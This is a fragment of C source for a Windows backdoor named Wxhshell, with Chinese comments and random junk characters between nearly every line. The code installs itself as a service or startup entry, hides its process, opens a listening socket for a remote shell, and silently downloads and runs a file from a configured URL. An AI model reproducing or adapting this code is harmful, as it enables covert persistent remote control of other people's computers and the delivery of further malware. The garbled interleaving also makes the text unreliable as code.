pRt )B`# hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); gvwR16N if(hProcess==NULL) return 0; @^;\(If2 uOougSBV, HMODULE hMod; )Dqv&^ char procName[255]; 3c-ve$8u~ unsigned long cbNeeded; I94;1(Cs% F}.Af=<Q if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); drb_GT 1
C[#]krh CloseHandle(hProcess); BDB-OJ fnB-?8K< if(strstr(procName,"services")) return 1; // 以服务启动 Uhg[#TUK %e1<N8E4 return 0; // 注册表启动 '*)!&4f } U?>zq!C&R V(w[`^I>~ // 主模块 ^P{'l^CVX int StartWxhshell(LPSTR lpCmdLine) hXMC!~Th { EaP#~x SOCKET wsl; +S3'ms BOOL val=TRUE; XP{ nf9& int port=0; ;gW~+hW ^ struct sockaddr_in door; {P = {) ybYSz@7 if(wscfg.ws_autoins) Install(); MTLcLmdO tQ|b?3 port=atoi(lpCmdLine); ]JhtO{ a"WnBdFZ if(port<=0) port=wscfg.ws_port; ~vF.k, q*'hSt@+D WSADATA data; 4)XN1r: if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; &4{%3 w_/ d(]LRIn~1 if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; 4@8i,q> setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); `w~ 9/sty door.sin_family = AF_INET; -3w? y door.sin_addr.s_addr = inet_addr("127.0.0.1"); AY! zXJ_$ door.sin_port = htons(port); =}Cb?C[; ?V7[,I1? if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { +mF}j=k closesocket(wsl); R[_7ab]A return 1; T /]ayc: } '{7A1yJnY% kg
!@i 7 if(listen(wsl,2) == INVALID_SOCKET) { SM^6+L"BE closesocket(wsl); y()#FRp7 return 1; .Hgiru& } kxf'_Nzy Wxhshell(wsl); OSSMIPr WSACleanup(); +}^}
<|W6 _IgG8)k; return 0; "%}PVO! I7[+:?2 } e?f[t*td *b7v)d# // 以NT服务方式启动 e7hPIG VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) <BO|.(ys { VvoJ85 DWORD status = 0; %!eK"DKG^ DWORD specificError = 0xfffffff; x"N,oDs wI`uAZ=" serviceStatus.dwServiceType = SERVICE_WIN32; { !FrI@ serviceStatus.dwCurrentState = SERVICE_START_PENDING; _ H@pYMNH serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; ~gX@2!D5k serviceStatus.dwWin32ExitCode = 0; D/{- serviceStatus.dwServiceSpecificExitCode = 0; R'9TD=qEK serviceStatus.dwCheckPoint = 0; L8ZCGW\Rr serviceStatus.dwWaitHint = 0; 6
#QS5 1F$a
My? hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); G LE`ba if (hServiceStatusHandle==0) return; bAW;2
NB ?rv+ydR/q status = GetLastError(); '!y ^ if (status!=NO_ERROR) }>h?W1 { >i=O =w serviceStatus.dwCurrentState = SERVICE_STOPPED; B!8]\D serviceStatus.dwCheckPoint = 0; [IHT)%>E8& serviceStatus.dwWaitHint = 0; IWMqmCbv serviceStatus.dwWin32ExitCode = status; 4}NFa;M1 serviceStatus.dwServiceSpecificExitCode = specificError; O ^e
!<bBd SetServiceStatus(hServiceStatusHandle, &serviceStatus); Q 2tGe~H return; V;)'FJ)] } ,q:6[~n : ;d&m serviceStatus.dwCurrentState = SERVICE_RUNNING; #s]]\ serviceStatus.dwCheckPoint = 0; #}B~V3UD serviceStatus.dwWaitHint = 0; KIuYWr7& if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); rW1>t+ } 9MGA#a 73]%^kx= // 处理NT服务事件,比如:启动、停止 {yfG_J VOID WINAPI NTServiceHandler(DWORD fdwControl) $?'z%a{ { ^ S%4R' switch(fdwControl) Xbap'/t
{ <rCl case SERVICE_CONTROL_STOP: YjsaTdZ!& serviceStatus.dwWin32ExitCode = 0; _@d.wfM serviceStatus.dwCurrentState = SERVICE_STOPPED; !E$S&zVMQ serviceStatus.dwCheckPoint = 0; ['sIR+c%'O serviceStatus.dwWaitHint = 0; t(ZiQ<A { }~A-ELe: SetServiceStatus(hServiceStatusHandle, &serviceStatus); A70_hhP } (xxJ^u>QC return; xorFz{ case SERVICE_CONTROL_PAUSE: l~uRZLx serviceStatus.dwCurrentState = SERVICE_PAUSED; ~(yh0V break; OS \co: case SERVICE_CONTROL_CONTINUE: -@i2]o serviceStatus.dwCurrentState = SERVICE_RUNNING; X?1 :Z|pJ break; /] R]7 case SERVICE_CONTROL_INTERROGATE: blS*HKw break; `;i|
%$TU }; hz )L+ SetServiceStatus(hServiceStatusHandle, &serviceStatus); u2!8'-Ai } ;
/EH@V| R?I(f(ib // 标准应用程序主函数 Q<78<#I int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) -EITz { L5eaQu 27Lya!/ // 获取操作系统版本 [#14atv OsIsNt=GetOsVer(); g *^"x& GetModuleFileName(NULL,ExeFile,MAX_PATH); !8P#t{2_| ch< zpo: // 从命令行安装 B4J^ rzK if(strpbrk(lpCmdLine,"iI")) Install(); VS 8|lgQ &5zUk++ // 下载执行文件 i5-V$ Qh if(wscfg.ws_downexe) { gA.G:1v if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK)
W_kJb WinExec(wscfg.ws_filenam,SW_HIDE); YDDwvk
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// 如果时win9x,隐藏进程并且设置为注册表启动 Jk(b=j HideProc(); 5bMVDw/ StartWxhshell(lpCmdLine); 5+ VdZ'@ } ;ATk?O4T else i?mDR$X: if(StartFromService()) 6 !+"7r6 // 以服务方式启动 ZtB0:'o; StartServiceCtrlDispatcher(DispatchTable); ]C]tLJ!M else OlV>zam // 普通方式启动 N%>/
e'( StartWxhshell(lpCmdLine); TmO\!` T0aK1Lh return 0; ~tz[=3!1H }
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